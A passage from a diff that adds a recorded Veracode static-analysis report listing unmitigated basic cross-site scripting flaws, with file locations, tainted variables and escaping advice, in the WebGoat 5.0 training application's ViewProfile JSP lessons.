+        line=\"41\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"81\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"45\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"99\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"51\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"210\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"51\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"237\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"72\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"88\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"53\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"130\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"107\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"174\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"55\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"196\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"8\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
